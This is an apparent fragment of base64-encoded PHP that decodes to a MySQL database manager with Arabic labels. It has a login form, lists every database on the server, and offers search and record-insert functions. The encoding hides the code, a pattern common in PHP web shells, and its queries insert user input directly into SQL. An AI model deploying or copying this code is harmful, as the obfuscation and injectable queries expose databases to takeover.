O3H5MfKOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT0naG9zdCcgc2l6ZT0xNSB2YWx1ZT0kaG9zdGRlZmF1bHQgLz48L3RkPjwvdHI+XG4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgZWNobyI8dHI+PHRkPsfT4yDH4ePTys7P4zo8L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9J3VzZXJpZCcgc2l6ZT0xNSAvPjwvdGQ+PC90cj5cbiI7DQogICAgICAgICAgICAgICAgZWNobyI8dHI+PHRkPt/h4+Ugx+Hj0ebROjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXBhc3N3b3JkIG5hbWU9J3B3b3JkMScgc2l6ZT0xNSAvPjwvdGQ+PC90cj5cbiI7DQoNCiAgICAgICAgICAgICAgICBJZigkZGJuYW1lYXJyYXkgIT0gIiIpew0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyI8dHI+PHRkPj9DP0lFIEM/RT9DP0NFOjwvdGQ+PHRkPjxzZWxlY3QgbmFtZT0nZGJuYSc+XG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgZm9yICgkaSA9MDsgJGkgPCBjb3VudCgkZGJuYW1lYXJyYXkpOyAkaSsrKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkYm49JGRibmFtZWFycmF5WyRpXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyI8b3B0aW9uIHZhbHVlPSRkYm4+JGRibiI7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVjaG8iPHRyPjx0ZD48aW5wdXQgY2xhc3M9c2VyIHR5cGU9J3N1Ym1pdCcgbmFtZT0nbG9naW4nIHZhbHVlPSfPzubhJyAvPjwvdGQ+XG4iOw0KICAgICAgICAgICAgICAgIGVjaG8iPHRkPjxpbnB1dCBjbGFzcz1zZXIgdHlwZT1yZXNldCBuYW1lPSdyZXNldCcgdmFsdWU9J+PTzScgLz48L3RkPjwvdHI+XG4iOw0KICAgICAgICAgICAgICAgIGVjaG8iPC9mb3JtPjwvdGFibGU+XG4iOw0KDQp9DQoNCmZ1bmN0aW9uIGRicmVzdHJpY3QoKXsNCmlmKGlzc2V0KCRfU0VTU0lPTlsndXNlciddKSl7DQogICAgJHVzZXI9JF9TRVNTSU9OWyd1c2VyJ107DQoNCiAgICBzd2l0Y2goJHVzZXIpew0KDQogICAgLy9FZGl0IHRoZXNlICoqIHZhbHVlcy4gWW91IGNhbiBhZGQgbW9yZSBjYXNlIHN0YXRlbWVudHMuDQogICAgICAgIGNhc2UgJyoqVXNlcioqJzoNCiAgICAgICAgICAgICRkYm5hbWVhcnJheT0gYXJyYXkoJyoqZGJuYW1lKionLCAnKipkYm5hbWUyKionLCAnKipkYm5hbWUqKicpOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgIC8vZW5kIGVkaXQgdmFsdWVzDQoNCiAgICAgICAgZGVmYXVsdDoNCiAgICAgICAgICAgICRfU0VTU0lPTlsnZGVmYWx0dXNlciddPXRydWU7DQogICAgICAgICAgICAkZGJuYW1lYXJyYXkgPSBhcnJheSgpOw0KICAgICAgICAgICAgJGxpbmsgPSBjb25uZWN0bXlzcWwoKTsNCg0KICAgICAgICAgICAgJGRiX2xpc3QgPSBteXNxbF9saXN0X2RicygkbGluayk7IC8vJGRiX2xpc3QNCiAgICAgICAgICAgICAgICAgICAgJGNudCA9IG15c3FsX251bV9yb3dzKCRkYl9saXN0KTsNCiAgICAgICAgICAgICAgICAgICAgZm9yICgkaSA9MDsgJGkgPCAkY250OyAkaSsrKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRibmFtZWFycmF5WyRpXT0gbXlzcWxfZGJfbmFtZSgkZGJfbGlzdCwgJGkpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgfQ0KICAgIHJldHVybiAkZGJuYW1lYXJyYXk7DQp9DQp9DQovLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKg0KLy9mdW5jdGlvbiBzaG93ZGJzKCRkYm5hbWVhcnJheSwgJGJhY2t1cHBhdGgpew0KZnVuY3Rpb24gc2hvd2RicygkZGJuYW1lYXJyYXkpew0KICAgIC8vJGJhY2t1cHBhdGg9YWRkc2xhc2hlcygkYmFja3VwcGF0aCk7DQogICAgICAgZWNobyI8dGFibGU+XG4iOw0KICAgICAgIGZvciAoJGkgPTA7ICRpIDwgY291bnQoJGRibmFtZWFycmF5KTsgJGkrKykgew0KICAgICAgICAgICAgICAgICAgICBlY2hvIjx0cj48dGQ+IjsNCiAgICAgICAgICAgICRkYm49JGRibmFtZWFycmF5WyRpXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICR2YT0ix+HQ5cfIIMfh7CDex9rPySAkZGJuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGdvdG8oJyAnLCAkZGJuLCRhY3Rpb24sICdidXQnLCAnZGInLCAkdmEgKTsNCg0KICAgICAgICAgICAgJGRicz1teXNpemUoJGRibmFtZWFycmF5WyRpXSwiIik7DQogICAgICAgICAgICBlY2hvIjwvdGQ+PHRkPiRkYnM8L3RkPjwvdHI+XG4iOw0KICAgICAgICB9DQogICAgZWNobyI8L3RhYmxlPlxuIjsNCn0NCg0KDQovLyoqKioqKioqKioqKioqKioqKioqKiBTaG93IExvZ291dCBCdXR0b24gKioqKioqKioqKg0KZnVuY3Rpb24gZW5kc2Vzcygpew0KZWNobyI8Zm9ybSBtZXRob2Q9J3Bvc3QnIG5hbWU9J2VuZHNlc3MnIGFjdGlvbj0nJGFjdGlvbic+XG4iOw0KZWNobyI8aW5wdXQgY2xhc3M9c2VyIHR5cGU9J3N1Ym1pdCcgbmFtZT0nbG9nb3V0JyB2YWx1ZT0nztHmzCcgLz5cbiI7DQplY2hvIjwvZm9ybT4iOw0KfQ0KDQovLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqDQpmdW5jdGlvbiBjb25uZWN0bXlzcWwoKXsNCiAgICAgICAgLy9Db25uZWN0cyB0byB0aGUgTXlTUUwgRGF0YWJhc2UuDQoNCg0KICAgICAgICBpZiAoaXNzZXQoJF9TRVNTSU9OWyd1c2VyJ10pICYmIGlzc2V0KCRfU0VTU0lPTlsncGFzc3dvcmQnXSkpew0KICAgICAgICAgICAgICAgICAkdXNlciA9ICRfU0VTU0lPTlsndXNlciddOw0KICAgICAgICAgICAgICAgICAkcGFzcyA9ICRfU0VTU0lPTlsncGFzc3dvcmQnXTsNCiAgICAgICAgfWVsc2V7DQogICAgICAgIGRpc3BsYXlfZm9vdCgpOw0KICAgICAgICBlY2hvIlxuPC9ib2R5PlxuPC9odG1sPiI7DQogICAgICAgICAgICAgICAgZXhpdCgpOw0KICAgICAgICB9DQogICAgICAgICRsaW5rID0gQG15c3FsX2Nvbm5lY3QoJF9TRVNTSU9OWydob3N0J10sICRfU0VTU0lPTlsndXNlciddLCAkX1NFU1NJT05bJ3Bhc3N3b3JkJ10pOw0KICAgICAgICBpZighICRsaW5rKXsNCiAgICAgICAgICAgICAgICBlY2hvIjxkaXYgY2xhc3M9J2Vycm9yJz5cbiI7DQogICAgICAgICAgICAgICAgZWNobyJVbmFibGUgdG8gY29ubmVjdCB0byB0aGUgZGF0YWJhc2Ugc2VydmVyLiA8QlI+IjsNCiAgICAgICAgICAgICAgICBlY2hvIlRoZSBIb3N0OiAkX1NFU1NJT05baG9zdF0sIMfT4yDH4ePTys7P4zogJHVzZXIgx+Ygx+Hf4ePlIMfh09Ht5SDO2MfBLiA8YnI+IjsNCiAgICAgICAgICAgICAgICBlY2hvIt3W4cfwINPM4SDO0ebMIOHh483H5uHlIOPR5SDHztHsLlxuIjsNCiAgICAgICAgICAgICAgICBlY2hvIjwvZGl2PlxuIjsNCg0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgICAgICAgICAgZXhpdCgpOw0KICAgICAgICB9IGVsc2V7DQogICAgICAgICAgICAgICAgcmV0dXJuICRsaW5rOw0KICAgICAgICB9DQoNCn0NCi8vKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqDQpmdW5jdGlvbiBjb25uZWN0ZGIoJGRiLCAkbGluayl7DQogICAgICAgIGlmKCEgbXlzcWxfc2VsZWN0X2RiKCRkYiwkbGluaykpew0KICAgICAgICAgICAgICAgIGVjaG8iVW5hYmxlIHRvIGxvY2F0ZSBkYXRhYmFzZSAkZGIuPGJyPiBQbGVhc2UgdHJ5IGFnYWluIGxhdGVyLlxuIjsNCiAgICAgICAgICAgICAgICBleGl0KCk7DQogICAgICAgIH0NCn0NCi8vKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqDQpmdW5jdGlvbiBleGVxdWVyeSgkc3FsLCAkdGFibGVuYW1lLCAkZGIpew0KICAgICAgICAkcmVzdWx0PSBAbXlzcWxfcXVlcnkoICRzcWwgKTsNCiAgICAgICAgaWYoJHJlc3VsdCl7DQogICAgICAgICAgICAgICAgLy9lY2hvICJRdWVyeSBzdWNjZXNzZnVsIjsNCiAgICAgICAgICAgICAgICByZXR1cm4gJHJlc3VsdDsNCiAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyJTb3JyeSB5b3VyIFF1ZXJ5IGZhaWxlZDogJHNxbCA8YnI+IGVycm9yOiIubXlzcWxfZXJyb3IoKS4iXG4iOw0KICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KfQ0KDQoNCi8vKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqDQokZmllbGR0eXBlcyA9IGFycmF5KCJCSUdJTlQiLCAiQkxPQiIsICJDSEFSIiwgIkRBVEUiLCAiREFURVRJTUUiLCAiREVDSU1BTCIsICJET1VCTEUiLCAiRU5VTSIsICJGTE9BVCIsDQogICJJTlQiLCAiSU5URUdFUiIsICJMT05HQkxPQiIsICJMT05HVEVYVCIsICJNRURJVU1CTE9CIiwgIk1FRElVTUlOVCIsICJNRURJVU1URVhUIiwgIk5VTUVSSUMiLCAiUFJFQ0lTSU9OIiwNCiAiUkVBTCIsIlNFVCIsICJTTUFMTElOVCIsICJURVhUIiwgIlRJTUUiLCAiVElNRVNUQU1QIiwgIlRJTllCTE9CIiwgIlRJTllJTlQiLCAiVElOWVRFWFQiLCAiVkFSQ0hBUiIsICJZRUFSIiApOw0KDQoNCi8vKioqKioqKioqKioqKioqKioqIFNlYXJjaCBGb3JtICoqKioqKioqKioqKioqKioqKioqKioqKioqKioNCmZ1bmN0aW9uIHNlYXJjaHRhYmxlZm9ybSgkdGFibGVuYW1lLCAkZGJuYW1lKXsNCiAgICAgICAgZWNobyI8Zm9ybSBtZXRob2Q9J3Bvc3QnIGFjdGlvbj0nJGFjdGlvbic+XG4iOw0KICAgICAgICBlY2hvIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSdkYm5hbWUnIHZhbHVlPSckZGJuYW1lJyAvPlxuIjsNCiAgICAgICAgZWNobyI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0ndGFibGVuYW1lJyB2YWx1ZT0nJHRhYmxlbmFtZScgLz5cbiI7DQogICAgICAgIGVjaG8iPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdzZWFyY2h2YWwnIC8+XG4iOw0KICAgICAgICBlY2hvIjxpbnB1dCBjbGFzcz1zZXIgdHlwZT1zdWJtaXQgbmFtZT0nc2VhcmNoJyB2YWx1ZT0nU2VhcmNoICR0YWJsZW5hbWUnIC8+XG4iOw0KICAgICAgICBlY2hvIjwvZm9ybT5cbiI7DQp9DQovLyoqKioqKioqKioqKioqKioqKioqKiBTZWFyY2ggKioqKioqKioqKioqKioqKioqKioqKioqKg0KZnVuY3Rpb24gc2VhcmNodCgkdGFibGVuYW1lLCAkZGJuYW1lLCAkc2VhcmNodmFsKXsNCiAgICAgICAgaWYoISBlbXB0eSgkc2VhcmNodmFsKSl7DQogICAgICAgICAgICAgICAgLy8gICAgICAgICRzZWFyY2h2YWw9IHN0cl9yZXBsYWNlKCI7IiwnICcsICRzZWFyY2h2YWwpOw0KICAgICAgICAkcmVzdWx0PWV4ZXF1ZXJ5KCJTZWxlY3QgKiBmcm9tICR0YWJsZW5hbWUiLCAkdGFibGVuYW1lLCAkZGJuYW1lKTsNCiAgICAgICAgICAgICAgICAvLyRyZXN1bHQ9bXlzcWxfcXVlcnkoIlNlbGVjdCAqIGZyb20gJHRhYmxlbmFtZSIpOw0KICAgICAgICAgICAgICAgICRudW0gPSBteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOw0KICAgICAgICAgICAgICAgICRmaWVsZHMgPSBteXNxbF9saXN0X2ZpZWxkcygkZGJuYW1lLCAkdGFibGVuYW1lKTsNCiAgICAgICAgICAgICAgICAkd2hyPSJ3aGVyZSAiOw0KICAgICAgICAgICAgICAgICR0b2s9ZXhwbG9kZSgiICIsJHNlYXJjaHZhbCk7DQogICAgICAgICAgICAgICAgZm9yICgkdCA9MDsgJHQgPCBjb3VudCgkdG9rKTsgJHQrKyl7DQogICAgICAgICAgICAgICAgICAgICAgICBmb3IgKCAkYyA9IDA7ICRjIDwgJG51bTsgJGMrKyl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmbiA9bXlzcWxfZmllbGRfbmFtZSgkZmllbGRzLCAkYyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3aHIgLj0iICRmbiBsaWtlICclJHRva1skdF0lJyBvciAiOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkd2hyPXRyaW0oc3Vic3RyX3JlcGxhY2UoJHdociwgIiAiLCAtMykpOw0KICAgICAgICAgICAgICAgICRxdWVyeT0iU2VsZWN0ICogZnJvbSAkdGFibGVuYW1lICR3aHIiOw0KICAgICAgICAgICAgICAgICRyZXN1bHQ9ZXhlcXVlcnkoJHF1ZXJ5LCAkdGFibGVuYW1lLCAkZGJuYW1lKTsNCiAgICAgICAgICAgICAgICByZXR1cm4gJHJlc3VsdDsNCiAgICAgICAgfQ0KDQp9DQovLyoqKioqKioqKioqKioqKioqKioqKkdPVE8gYnV0dG9ucyoqKioqKioqKioqKioqKioqKioqKioqKioNCi8vcHJvdmlkZXMgYSBmb3JtIGFuZCBidXR0b24uDQoNCmZ1bmN0aW9uIGdvdG8oJHRhYmxlbmFtZSwgJGRibmFtZSwgJGFjdGlvbiwgJGNsYXNzLCAkbmFtZSwgJHZhICl7DQogICAgICAgIC8vQWRkcyBhIGJ1dHRvbi4NCg0KICAgICAgICBlY2hvIjxmb3JtIGFjdGlvbj0nJGFjdGlvbicgbWV0aG9kPSdwb3N0JyA+XG4iOw0KDQogICAgICAgICAgICAgICAgaWYoISBlcmVnaSgndGFibGVzdGFydCcsICRuYW1lKSl7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0nJGRibmFtZScgLz5cbiI7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXRhYmxlbmFtZSB2YWx1ZT0nJHRhYmxlbmFtZScgLz5cbiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVjaG8iPGlucHV0IGNsYXNzPSRjbGFzcyB0eXBlPXN1Ym1pdCAgdmFsdWU9JyR2YScgbmFtZT0nJG5hbWUnIC8+XG4iOw0KICAgICAgICAgICAgICAgIC8vZWNobyI8aW5wdXQgY2xhc3M9JGNsYXNzIHR5cGU9c3VibWl0ICB2YWx1ZT0nJGFjdGlvbicgbmFtZT0kbmFtZT4iOw0KICAgICAgICBlY2hvIjwvZm9ybT5cbiI7DQoNCiAgICAgICAgLy9lY2hvIjxhIGNsYXNzPSRjbGFzcyBocmVmPSRhY3Rpb24+JHZhPC9hPiI7DQogICAgICAgIC8vfQ0KfQ0KDQovLyoqKioqKioqKioqKioqKioqKioqKioqIFNob3dEQiAqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKg0KZnVuY3Rpb24gc2hvd2RiKCl7DQovL2Z1bmN0aW9uIHNob3dkYigkYmFja3VwcGF0aCl7DQoNCiAgICAgICAgJGxpbms9Y29ubmVjdG15c3FsKCk7DQogICAgICAgIGlmICgkbGluayl7DQogICAgICAgIGVjaG8iPGRpdiBjbGFzcz0nZGInPiI7DQogICAgICAgICAgICAgICAgZWNobyI8ZGl2IGNsYXNzPSdjcmVhbSc+XG4iOw0KICAgICAgICAgICAgICAgIGVjaG8iPGgyIGNsYXNzPWggPsXk1MfBIN7H2s/JIMzP7c/JPC9oMj5cbiI7DQoNCiAgICAgICAgICAgICAgICBlY2hvIjxmb3JtIG5hbWU9Y2RiIGFjdGlvbj0nJGFjdGlvbicgbWV0aG9kPSdwb3N0JyA+XG4iOw0KICAgICAgICAgICAgICAgIGVjaG8iw9PjIMfh3sfaz8kgx+HMz+3PyTogPGlucHV0IHR5cGU9dGV4dCBuYW1lPW5kYm5hbWUgLz5cbiI7DQogICAgICAgICAgICAgICAgZWNobyI8YnIgLz48YnIgLz48aW5wdXQgY2xhc3M9YnV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nY25kYicgdmFsdWU9J8Xk1MfBIN7H2s/JIMzP7c/JJyAvPlxuIjsNCiAgICAgICAgICAgICAgICBlY2hvIjwvZm9ybT48YnIgLz4iOw0KICAgICAgICAgICAgICAgIGVjaG8iPC9kaXY+IjsNCiAgICAgICAgICAgICAgICBlY2hvIjxoMiBjbGFzcz1oID7ex8bj5SDH4d7mx9rPIMfh48rm3dHlPC9oMj5cbiI7DQogICAgICAgICAgICAgICAgLy9SZXN0cmljdCB0aGUgZGF0YWJhc2UgZm9yIHVzZXJzDQogICAgICAgICRkYm5hbWVhcnJheT0gZGJyZXN0cmljdCgpOw0KICAgICAgICBzaG93ZGJzKCRkYm5hbWVhcnJheSk7DQogICAgICAgIGVjaG8iPC9kaXY+IjsNCiAgICAgICAgICAgfQ0KDQp9DQoNCi8vKioqKioqKioqKioqKioqKioqKioqKiBCdWlsZFdociAqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioNCi8vQnVpbGRzIHRoZSBXaGVyZSBwYXJ0IG9mIHF1ZXJpZXMuDQoNCmZ1bmN0aW9uIGJ1aWxkd2hyKCRwaywgJHB2KXsNCiAgICAgICAgJHdocj0iIjsNCiAgICAgICAgJHBuID1jb3VudCgkcHYpOw0KICAgICAgICBmb3IoJHQgPTA7ICR0IDwgJHBuOyAkdCsrKXsNCiAgICAgICAgICAgICAgICAkd2hyLj0iJHBrWyR0XT0nJHB2WyR0XSciOw0KICAgICAgICAgICAgICAgIGlmKCR0IDwgJHBuLTEpew0KICAgICAgICAgICAgICAgICAgICAgICAgJHdoci49IiBhbmQgIjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgaWYgKCR3aHIgIT0iICIpew0KICAgICAgICAgICAgICAgIHJldHVybiAkd2hyOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCn0NCi8vKioqKioqKioqKioqKioqKioqKioqKipBREQgUmVjb3JkICoqKioqKioqKioqKioqKioqKg0KDQpmdW5jdGlvbiBhZGRyZWNvcmQoJHRhYmxlbmFtZSwgJGRibmFtZSwgJGFycmF5KXsNCiAgICAgJHJlc3VsdD1leGVxdWVyeSgiU2VsZWN0ICogZnJvbSAkdGFibGVuYW1lIiwgJHRhYmxlbmFtZSwgJGRibmFtZSk7DQogICAgICAgIC8vJHJlc3VsdCA9IEBteXNxbF9xdWVyeSggIlNlbGVjdCAqIGZyb20gJHRhYmxlbmFtZSIgKTsNCg0KICAgICAgICAkZmxkcyA9IG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7DQogICAgICAgIC8vJGZpZWxkcyA9IG15c3FsX2xpc3RfZmllbGRzKCRkYm5hbWUsICR0YWJsZW5hbWUpOw0KICAgICAgICAgICAkcXJ5PSIgIjsNCiAgICAkcXVlcnkgPSAiSW5zZXJ0IGludG8gJHRhYmxlbmFtZSBWYWx1ZXMoICI7DQogICAgICAgIGZvciAoJHggPTA7ICR4IDwgJGZsZHM7ICR4Kyspew0KICAgICAgICAvL011bHRpcGxlIFNlbGVjdCB2YWx1ZXMgZm9yIFNFVA0KDQogICAgICAgaWYoaXNfYXJyYXkoJGFycmF5WyR4XSkpew0KICAgICAgICAgICAgJG12YWw9IiI7DQogICAgICAgICAgICBmb3IoJG09MDsgJG0gPCBjb3VudCgkYXJyYXlbJHhdKTsgJG0rKyl7DQogICAgICAgICAgICAgICAgaWYoJG0rMSA9PSBjb3VudCgkYXJyYXlbJHhdKSl7DQogICAgICAgICAgICAgICAgICAgICRtdmFsLj0gQWRkU2xhc2hlcygkYXJyYXlbJHhdWyRtXSk7DQoNCiAgICAgICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICAgICAgJG12YWwuPSBBZGRTbGFzaGVzKCRhcnJheVskeF1bJG1dKS4iLCI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRmdmFsID0gJG12YWw7DQogICAgICAgICAgICB9DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgICAgICAkZnZhbCA9IEFkZFNsYXNoZXMoJGFycmF5WyR4XSk7DQogICAgICAgIH0NCiAgICAgICAgICAgICAgICAkcXJ5IC49ICInJGZ2YWwnIjsNCiAgICAgICAgICAgICAgICBpZiAoJHggPCAkZmxkcy0xKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICRxcnkuPSAiLCAiOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAkcXVlcnkgLj0gJHFyeS4iKSI7DQogICAvLyBlY2hvInFyeTogJHFyeSI7DQogICAgICAgICRyZXN1bHQ9ZXhlcXVlcnkoJHF1ZXJ5LCAkdGFibGVuYW1lLCAkZGJuYW1lKTsNCiAgICAgICAgaWYoJHJlc3VsdCl7DQogICAgICAgICAgICAgICAgcmV0dXJuICRyZXN1bHQ7DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KfQ0KDQovLyoqKioqKioqKioqKioqKioqKioqKipBREQgRm9ybSAqKioqKioqKioqKioqKioqKioqKioqDQoNCmZ1bmN0aW9uIGFkZGZvcm0oJHRhYmxlbmFtZSwgJGRibmFtZSl7DQogLy9EaXNwbGF5IHRoZSBmaWVsZCBuYW1lcyBhbmQgaW5wdXQgYm94ZXMNCiBlY2hvIjxmb3JtIGFjdGlvbj0nJGFjdGlvbicgbWV0aG9kPSdwb3N0Jz5cbiI7DQogZWNobyI8dGFibGUgYm9yZGVyPTAgd2lkdGg9JzEwMCUnIGFsaWduPSdjZW50ZXInPlxuIjsNCiBlY2hvIjx0ciBjbGFzcz1oZWFkPjx0ZD5GaWVsZCBOYW1lPC90ZD48dGQ+VHlwZTwvdGQ+PHRkPlZhbHVlPC90ZD48L3RyPlxuIjsNCiAgJHJlc3VsdD1leGVxdWVyeSgiU2VsZWN0ICogZnJvbSAkdGFibGVuYW1lIiwgJHRhYmxlbmFtZSwgJGRibmFtZSk7DQogLy8kcmVzdWx0ID0gQG15c3FsX3F1ZXJ5KCAiU2VsZWN0ICogZnJvbSAkdGFibGVuYW1lIiApOw0KICRmbGRzID0gbXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTsNCiAkZmllbGRzID0gbXlzcWxfbGlzdF9maWVsZHMoJGRibmFtZSwgJHRhYmxlbmFtZSk7DQogZWNobyI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JyR0YWJsZW5hbWUnIC8+XG4iOw0KIGVjaG8iPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9J2RibmFtZScgdmFsdWU9JyRkYm5hbWUnIC8+XG4iOw0KIGVjaG8iPHRyPlxuIjsNCg0KICRteGxlbiA9IDgwOy8vbWF4IHdpZHRoIG9mIHRoZSBmb3JtIGZpZWxkcy4NCiBmb3IoJGk9MDsgJGkgPCAkZmxkczsgJGkrKyl7DQogICAgICAkYXV0byA9ICJmYWxzZSI7DQogICAgICBlY2hvICI8dGg+Ii5teXNxbF9maWVsZF9uYW1lKCRmaWVsZHMsICRpKTsNCiAgICAgICRmaWVsZG5hbWUgPSBteXNxbF9maWVsZF9uYW1lKCRmaWVsZHMsICRpKTsgIC8vIGFkZGVkDQogICAgICAkdHlwZSAgPSBteXNxbF9maWVsZF90eXBlKCRyZXN1bHQsICRpKTsNCiAgICAgICRmbGVuID0gbXlzcWxfZmllbGRfbGVuKCRyZXN1bHQsICRpKTsvL2xlbmd0aCBvZiB0aGUgZmllbGQNCiAgICAgICRmbGFnc3RyaW5nID0gbXlzcWxfZmllbGRfZmxhZ3MgKCRyZXN1bHQsICRpKTsNCiAgICAvLyBTdGFydCBvZiBuZXcgY29kZSBmb3Igc2V0IGRyb3AgZG93bg0KICAgICAgJG5ld3NxbCA9ICJzaG93IGNvbHVtbnMgZnJvbSAkdGFibGVuYW1lIGxpa2UgJyUiLiRmaWVsZG5hbWUuIiciOw0KICAgICAgJG5ld3Jlc3VsdCA9IGV4ZXF1ZXJ5KCRuZXdzcWwsICR0YWJsZW5hbWUsICRkYm5hbWUpOw0KICAgICAgLy9teXNxbF9xdWVyeSgkbmV3c3FsKSBvciBkaWUgKCdJIGNhbm5vdCBnZXQgdGhlIHF1ZXJ5IGJlY2F1c2U6ICcgLiBteXNxbF9lcnJvcigpKTsNCiAgICAgICRhcnI9bXlzcWxfZmV0Y2hfYXJyYXkoJG5ld3Jlc3VsdCk7DQogICAgLy8gRW5kIG9mIG5ldyBjb2RlIGJsb2NrIGZvciBzZXQgZHJvcCBkb3duDQogICAgICBpZiAoZXJlZ2koInByaW1hcnkiLCRmbGFnc3RyaW5nICkpew0KICAgICAgICR0eXBlIC49ICIgUEsgIjsNCiAgICAgIH0NCiAgICAgIGlmKGVyZWdpKCJhdXRvIiwkZmxhZ3N0cmluZyApKXsNCiAgICAgICAkdHlwZSAuPSAiIGF1dG9faW5jcmVtZW50IjsNCiAgICAgICAkYXV0byA9ICJ0cnVlIjsNCiAgICAgIH0NCiAgICAgIGlmICgkYXV0bz09InRydWUiKXsNCiAgICAgICAgZWNobyI8dGQ+JHR5cGU8L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9J2FycmF5WyRpXScgc2l6ZT0nJGZsZW4nIHZhbHVlPTAgLz48L3RkPjwvdHI+XG4iOw0KICAgICAgfWVsc2VpZigkZmxlbiA+ICRteGxlbil7DQogICAgICAgICRyd3M9ICRmbGVuLyRteGxlbjsNCiAgICAgICAgaWYoJHJ3cz4xMCl7DQogICAgICAgICAgICAgJHJ3cz0xMDsgLy9tYXggbGVuZ3RoIG9mIHRleHRhcmVhDQogICAgICAgIH0NCiAgICAgICAgZWNobyI8dGQ+JHR5cGU8L3RkPjx0ZD48dGV4dGFyZWEgbmFtZT0nYXJyYXlbJGldJyByb3dzPSRyd3MgY29scz0kbXhsZW4+PC90ZXh0YXJlYT48L3RkPjwvdHI+XG4iOw0KICAgICAgICAvLyBTdGFydCBvZiBuZXcgY29kZSBmb3Igc2V0IGRyb3AgZG93bg0KICAgICAgfWVsc2VpZiAoc3RybmNtcCgkYXJyWzFdLCdzZXQnLDMpPT0wIHx8IHN0cm5jbXAoJGFyclsxXSwnZW51bScsNCk9PTApeyAgLy8gV2UgaGF2ZSBhIGZpZWxkIHR5cGUgb2Ygc2V0IG9yIGVudW0NCiAgICAgICAkbnVtPXN1YnN0cl9jb3VudCgkYXJyWzFdLCcsJykgKyAxOyAgLy8gY291bnQgdGhlIG51bWJlciBvZiBlbnRyaWVzDQogICAgICAgJHBvcz1zdHJwb3MoJGFyclsxXSwnKCcgKTsgLy9maW5kIHRoZSBwb3NpdGlvbiBvZiAnKCcNCiAgICAgICAkbmV3c3RyaW5nPXN1YnN0cigkYXJyWzFdLCRwb3MrMSk7ICAvLyBnZXQgcmlkIG9mIHRoZSAnPz8/KCcNCiAgICAgICAkc25ld3N0cmluZz1zdHJfcmVwbGFjZSgnKScsJycsJG5ld3N0cmluZyk7IC8vIGdldCByaWQgb2YgdGhlIGxhc3QgJyknDQogICAgICAgJG5uZXdzdHJpbmc9ZXhwbG9kZSgnLCcsJHNuZXdzdHJpbmcsJG51bSk7IC8vIHN0aWNrIGludG8gYW4gYXJyYXkNCiAgICAgICBpZihzdHJuY21wKCRhcnJbMV0sJ3NldCcsMyk9PTAgKXsvL1NldHMgY2FuIGhhdmUgY29tYmluYXRpb25zIG9mIHZhbHVlcw0KICAgICAgICAgICBlY2hvICI8dGQ+U2V0IChzZWxlY3Qgb25lIG9yIG1vcmUpPC90ZD4iOw0KICAgICAgICAgICBlY2hvIjx0ZD48c2VsZWN0IG5hbWU9J2FycmF5WyRpXVtdJyBzaXplPSczJyBtdWx0aXBsZT4iOw0KICAgICAgIH1lbHNley8vRW51bSBvbmUgdmFsdWUgb25seQ0KICAgICAgICBlY2hvICI8dGQ+RW51bTwvdGQ+Ij